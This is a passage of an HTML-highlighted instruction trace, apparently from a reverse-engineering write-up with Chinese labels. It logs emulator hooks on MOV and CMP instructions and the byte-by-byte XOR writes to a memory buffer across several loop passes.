class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000a93]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x37</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000eae: mov esi, <span class="number">0</span>x24</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000ec8: cmp esi, <span class="number">0</span>x49</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000ec2]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x1F</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x010007c4: mov esi, <span class="number">0</span>x1d</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010007de: cmp esi, <span class="number">0</span>x3b</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x10007d8]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 